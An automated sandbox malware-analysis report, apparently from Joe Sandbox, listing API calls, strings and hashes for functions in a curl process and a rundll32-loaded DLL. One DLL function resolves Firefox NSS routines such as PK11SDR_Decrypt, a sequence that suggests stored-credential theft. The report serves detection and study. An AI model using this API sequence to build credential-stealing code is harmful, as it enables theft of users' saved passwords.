Instruction Fuzzy Hash: A70140B2900609BAE720DB54DC89FAE77ADFB08705F1044A5E605E6285D7B0DA498B51

Function 008972C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000401), ref: 00897300
___from_strstr_to_strchr.LIBCMT ref: 00897316

Strings

localhost, xrefs: 0089732B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrgethostname
String ID: localhost
API String ID: 2455561156-2663516195
Opcode ID: c67c4d995ead4d7a837dc611dfe1a875c41fab0a26da9ce872c8783ca7835903
Instruction ID: e30c24c6c34a40de0daacd8b249ceb1b172e77fd3b22741fdac1c881d49ce651
Opcode Fuzzy Hash: c67c4d995ead4d7a837dc611dfe1a875c41fab0a26da9ce872c8783ca7835903
Instruction Fuzzy Hash: AA0168B0A18308AEDB10E7749C50AAA77B8FF04300F8400ACD785EB281DE31AD4AC765

Function 00866CA8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00866CE3
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 00866CF8

Strings

;auto, xrefs: 00866CAC

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: ;auto
API String ID: 1865132094-1462600812
Opcode ID: 8c60b86059251eabcd8f4d02548eb734a4b73a9285701f68745a11a7f5d36163
Instruction ID: c17a8b281f9bde1652345bf04c62513f1d03c546f02f4fba226915605e883f28
Opcode Fuzzy Hash: 8c60b86059251eabcd8f4d02548eb734a4b73a9285701f68745a11a7f5d36163
Instruction Fuzzy Hash: F5013C7410CB819FD7528A3888942A67AE5FF9A314F1A0E5DE0DAC7241EB25D445C716

Function 00867770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867782
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0086779E

Strings

a, xrefs: 00867770

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: a
API String ID: 1865132094-3904355907
Opcode ID: 31c1cf56c1a6a77533afb4d6f5ccc13697fdba8d38066cdb2f8427db208af064
Instruction ID: c0bcd6ac926d4b2629c7b64a9d70bec3dd474efc3a4496dd82e9408ac6d495dd
Opcode Fuzzy Hash: 31c1cf56c1a6a77533afb4d6f5ccc13697fdba8d38066cdb2f8427db208af064
Instruction Fuzzy Hash: 70016D7450C7C19ED712CB3484442ABBBE5FF9A318F1A4F4DE0E9DB241DB21D8068752

Function 008675DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 008675FB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00004000), ref: 00867617

Strings

SRP, xrefs: 00867481

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: SRP
API String ID: 1865132094-1918707673
Opcode ID: fa9dc15f8d49bb24a8f2ee08ce6dbe2910b1e6eb67c193d835d98f249bee1469
Instruction ID: 7005f51007cc09a6e7a7a96c22e22ef3791d9a9cc2f84e516f01727f1054edc2
Opcode Fuzzy Hash: fa9dc15f8d49bb24a8f2ee08ce6dbe2910b1e6eb67c193d835d98f249bee1469
Instruction Fuzzy Hash: D0F09031308600CFE610DF78A445BABB3E5FB80305F12891EE54ADB240EF30D8018BA1

Function 00869159 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(curl: ,?,?,0086878D,?,%s,00000000), ref: 0086916A

Strings

curl: , xrefs: 00869165
curl: try 'curl --help' for more information, xrefs: 00869188

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fputs
String ID: curl: $curl: try 'curl --help' for more information
API String ID: 1795875747-4128371185
Opcode ID: 6962dd62f95090d43a2b2e37567793e0bb9313f2a2df58ad6f3dc08066bcae80
Instruction ID: a1296ae979ff832f14d4cf963c53705d5d17320363013cd583f5e298115f0842
Opcode Fuzzy Hash: 6962dd62f95090d43a2b2e37567793e0bb9313f2a2df58ad6f3dc08066bcae80
Instruction Fuzzy Hash: 27E01A3500460CAFDB049F44EC06AE93BA9FB44354F108114F92C863A1D676EA60CA51

Function 0088726B Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887312
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008873DB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008873EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00887451

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4625ac36fdd86f57ba748af19f89741962e329d8f3b4f878409ffa7fd27ad782
Instruction ID: 14f6f88497565d114ca30e904617f87f2db9d822066ef16c32c99208f087fbc7
Opcode Fuzzy Hash: 4625ac36fdd86f57ba748af19f89741962e329d8f3b4f878409ffa7fd27ad782
Instruction Fuzzy Hash: A6614831A0861ADFDB04DF58D884AADBBF1FF48310F2881A9E815EB351D770AD41DB91

Function 008AF8F5 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF91E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF94E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF99B
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AF9AB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 233db4dd8fa6398a4af81b13c5086e016febde5959516f53fffd1a404c0303ce
Instruction ID: b4f62e5936281741b4b2ddcfb86ce29a33ac769e97f596a2b0d307f178605116
Opcode Fuzzy Hash: 233db4dd8fa6398a4af81b13c5086e016febde5959516f53fffd1a404c0303ce
Instruction Fuzzy Hash: 3A411531A04619EFCB049F68E884A5DBFF5FF09350B1881AAE809EB351DB71AD54CB94

Function 008AAE92 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0089711C), ref: 008B01E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0089711C), ref: 008B0212
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,0089711C), ref: 008B0233
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008B024A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e4b82dd32d511cfa90dbb9785c7de737e202c6702c82bc5e9809af30e79d4627
Instruction ID: 06b540809867fc6fc646ec84c769063e196f342f17197e76336335a8cd05d2f9
Opcode Fuzzy Hash: e4b82dd32d511cfa90dbb9785c7de737e202c6702c82bc5e9809af30e79d4627
Instruction Fuzzy Hash: F4213A76A04A26EFDB095F64EC54918FFB2FF48361754813AE60693B61CB756C20DF80

Function 008814FA Relevance: 5.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00881DBD,?,?,?,00868B8E), ref: 0088151F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00868B8E), ref: 00881549
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881577
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008815A5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e1b8423cb4b639078f22d6c72125a99d169a9f27907641452c3185a1f92e4be9
Instruction ID: 1b8905949c6b806935ecd43239fbb958c6aa409b28304646302840f2c4ab6707
Opcode Fuzzy Hash: e1b8423cb4b639078f22d6c72125a99d169a9f27907641452c3185a1f92e4be9
Instruction Fuzzy Hash: 4C21D572B00918EFEB099B24EC88B98FFA5FF85361F044156D405872A1CF747E15CBA2

Function 008AA4C9 Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA4FB
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA52C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00889633,00000000), ref: 008AA54E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AA565

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 43a10a2e3c1db7251b83ef62ec000827a93863cb552c8650bcaec63f16b20fe4
Instruction ID: 172c55f0436a5e04c3667c2a7bc5b2ae9c73c2b83c1beeac59c277ad2d12e7e7
Opcode Fuzzy Hash: 43a10a2e3c1db7251b83ef62ec000827a93863cb552c8650bcaec63f16b20fe4
Instruction Fuzzy Hash: D411EA76A00A26EFCB049F65EC94818FFB1FF48361314812AE90993B21CB75A820CFC0

Function 0086FEA5 Relevance: 5.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,00869BB3,?,?,00000000), ref: 0086FEE1
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,00869BB3,?,?,00000000), ref: 0086FEF9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,00869BB3,?,?,00000000), ref: 0086FF16
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086FF24

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1b9350285170be5bde2d086c7982a377c031b15302978d25c69fc0aa49628a96
Instruction ID: f07fd6ca01fcd0732a19a06de21988ef91e6465bb484a6ed2f8c940d490a9071
Opcode Fuzzy Hash: 1b9350285170be5bde2d086c7982a377c031b15302978d25c69fc0aa49628a96
Instruction Fuzzy Hash: CD118232506712DFC7248F94E885F6EBBA4FF01315F22022DE912AB652DB71F950CB94

Function 0089A082 Relevance: 5.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089A0A9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089A0CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089A0E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089A100

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 488b3812d91f415b937df876a42d41a39f5659c49a23c1ee61e5dcbf48ed2c0d
Instruction ID: 6476358422909a108109f0ad22bfc5580fa147dc9edd27c3eeb181dde2756859
Opcode Fuzzy Hash: 488b3812d91f415b937df876a42d41a39f5659c49a23c1ee61e5dcbf48ed2c0d
Instruction Fuzzy Hash: C4115E36504B16EFDB149F15E848B99BBA1FF4872AF14801AD40183761CB79BC64CFD4

Function 00895C63 Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00881857), ref: 00895C78
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00895CAD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00895CC4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00895CDB

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a515e1aa21c9aee91f3b7357df5faae8d3b99a07739f7ce62fe13805599e673c
Instruction ID: 862fd7770a65f55e7ff8572487d9eea946f7179324f940c19878795bcd4e1062
Opcode Fuzzy Hash: a515e1aa21c9aee91f3b7357df5faae8d3b99a07739f7ce62fe13805599e673c
Instruction Fuzzy Hash: 6501A576A04A2AEFDB055F65EC44818FFB6FF48761324822AE91993761CB756C20CFD0

Function 008AC7A7 Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AC7B9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AC7D6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AC7EF

Part of subcall function 008AC6E0: CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,F0000040,00000000,754C0130,?,008AC800,00000000), ref: 008AC6F4

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AC816

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: freemalloc$AcquireContextCrypt
String ID:
API String ID: 669775102-0
Opcode ID: 37034b2cd1239c209be4bed71f90ac7686c11753e71048ae9e29f4e3e1dbb408
Instruction ID: d9d05ffdcf1d8800b49bab164cca77553f2a266a11a666d3f1a02651b0b2c34a
Opcode Fuzzy Hash: 37034b2cd1239c209be4bed71f90ac7686c11753e71048ae9e29f4e3e1dbb408
Instruction Fuzzy Hash: 440136367149279BEB045B69BC146197FE5FB86BB17248036D505D3791DF745C00CB90

Analysis Process: rundll32.exePID: 3992, Parent PID: 5068COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	163

Executed Functions

Function 00007FFD92C0B230 Relevance: 61.5, APIs: 31, Strings: 4, Instructions: 288
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Bitmask_includes.LIBCPMTD ref: 00007FFD92C0B269
operator&=.LIBCPMTD ref: 00007FFD92C0B286
_Bitmask_includes.LIBCPMTD ref: 00007FFD92C0B2A0
_Bitmask_includes.LIBCPMTD ref: 00007FFD92C0B2C2
operator&=.LIBCPMTD ref: 00007FFD92C0B30D
_Bitmask_includes.LIBCPMTD ref: 00007FFD92C0B34C
GetFileAttributesExW.KERNELBASE ref: 00007FFD92C0B39D
GetLastError.KERNEL32 ref: 00007FFD92C0B3AB

Strings

, xrefs: 00007FFD92C0B3B5
2, xrefs: 00007FFD92C0B78C
*, xrefs: 00007FFD92C0B335
", xrefs: 00007FFD92C0B54E

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: Bitmask_includes$operator&=$AttributesErrorFileLast
String ID: $"$*$2
API String ID: 2933814485-1448646367
Opcode ID: fad48dce896e47e351054fd65ca9c6500c24d0a3827aa1398ac1be6e81e8deb8
Instruction ID: ac259317ea2eefae4bdf84bbacae8e84e0d1e55972b4faa240a8ff64ccb23361
Opcode Fuzzy Hash: fad48dce896e47e351054fd65ca9c6500c24d0a3827aa1398ac1be6e81e8deb8
Instruction Fuzzy Hash: 88E11A3274C68287FB74DBA5E4603AEB3B0EBC4741F104035E68E87A99DE7CE9458B40

Function 00007FFD92BF5730 Relevance: 54.8, APIs: 21, Strings: 10, Instructions: 503
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

new.LIBCMTD ref: 00007FFD92BF5795

Part of subcall function 00007FFD92C08CF0: _heap_alloc.LIBCMTD ref: 00007FFD92C08CFE

new.LIBCMTD ref: 00007FFD92BF5822

Part of subcall function 00007FFD92C08CF0: Concurrency::cancel_current_task.LIBCPMTD ref: 00007FFD92C08D2D
Part of subcall function 00007FFD92C08CF0: Concurrency::cancel_current_task.LIBCPMTD ref: 00007FFD92C08D34

delete.LIBCMTD ref: 00007FFD92BF590E
new.LIBCMTD ref: 00007FFD92BF5991
SetCurrentDirectoryA.KERNEL32 ref: 00007FFD92BF5A45
LoadLibraryA.KERNEL32 ref: 00007FFD92BF5A52
GetLastError.KERNEL32 ref: 00007FFD92BF5A60
delete.LIBCMTD ref: 00007FFD92BF5ABD
GetProcAddress.KERNEL32 ref: 00007FFD92BF5AE4
GetProcAddress.KERNEL32 ref: 00007FFD92BF5AFB
GetProcAddress.KERNEL32 ref: 00007FFD92BF5B12
GetProcAddress.KERNEL32 ref: 00007FFD92BF5B29
GetProcAddress.KERNEL32 ref: 00007FFD92BF5B40
GetProcAddress.KERNEL32 ref: 00007FFD92BF5B57
GetProcAddress.KERNEL32 ref: 00007FFD92BF5B6E
new.LIBCMTD ref: 00007FFD92BF5BC8
delete.LIBCMTD ref: 00007FFD92BF5DE3
delete.LIBCMTD ref: 00007FFD92BF5E6B
delete.LIBCMTD ref: 00007FFD92BF5EB2
delete.LIBCMTD ref: 00007FFD92BF5EF8
delete.LIBCMTD ref: 00007FFD92BF5F3E

Strings

Library couldnt loaded!.. %d, xrefs: 00007FFD92BF5A68
PL_Base64Decode, xrefs: 00007FFD92BF5AF1
PK11SDR_Decrypt, xrefs: 00007FFD92BF5B08
NSS_Shutdown, xrefs: 00007FFD92BF5B64
PK11_GetInternalKeySlot, xrefs: 00007FFD92BF5B36
\.., xrefs: 00007FFD92BF5892
Load library failse!, xrefs: 00007FFD92BF5AC7
PK11_FreeSlot, xrefs: 00007FFD92BF5B4D
NSS_Init, xrefs: 00007FFD92BF5ADA
PK11_Authenticate, xrefs: 00007FFD92BF5B1F

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

API ID: AddressProcdelete$Concurrency::cancel_current_task$CurrentDirectoryErrorLastLibraryLoad_heap_alloc
String ID: Library couldnt loaded!.. %d$Load library failse!$NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_FreeSlot$PK11_GetInternalKeySlot$PL_Base64Decode$\..
API String ID: 82395560-3640394235
Opcode ID: 2bcdbe3b748dbd75fb854b818cdc2ef14c15132eb5b049c7bec928868ad73d2f
Instruction ID: 7fee6b42c0799b22a422e9a90542c9ce208aab564a7cd0364cd8a16876b11725
Opcode Fuzzy Hash: 2bcdbe3b748dbd75fb854b818cdc2ef14c15132eb5b049c7bec928868ad73d2f
Instruction Fuzzy Hash: 88327F22B08B8185FB20DFA0E8A01EE77B1FB44759F145235EA9D17A9ADFBCD584C740

Function 00007FFD92C291B0 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 152
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 00007FFD92C291D8
WSACleanup.WS2_32 ref: 00007FFD92C291F3
GetModuleHandleA.KERNEL32 ref: 00007FFD92C2923C
GetProcAddress.KERNEL32 ref: 00007FFD92C29270
LoadLibraryA.KERNEL32 ref: 00007FFD92C292AC
GetProcAddress.KERNEL32 ref: 00007FFD92C292C9
GetSystemDirectoryA.KERNEL32 ref: 00007FFD92C292F5
GetSystemDirectoryA.KERNEL32 ref: 00007FFD92C29321
LoadLibraryA.KERNEL32 ref: 00007FFD92C29382
GetProcAddress.KERNEL32 ref: 00007FFD92C293C2
QueryPerformanceFrequency.KERNEL32 ref: 00007FFD92C29408

Strings

LoadLibraryExA, xrefs: 00007FFD92C2925E
AddDllDirectory, xrefs: 00007FFD92C292BF
kernel32, xrefs: 00007FFD92C2922B
iphlpapi.dll, xrefs: 00007FFD92C29276
if_nametoindex, xrefs: 00007FFD92C293B8

Memory Dump Source

Source File: 00000010.00000002.5554047154.00007FFD92BE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD92BE0000, based on PE: true

Associated: 00000010.00000002.5554028318.00007FFD92BE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554162005.00007FFD92D2A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.5554180701.00007FFD92D2F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd92be0000_rundll32.jbxd

Similarity

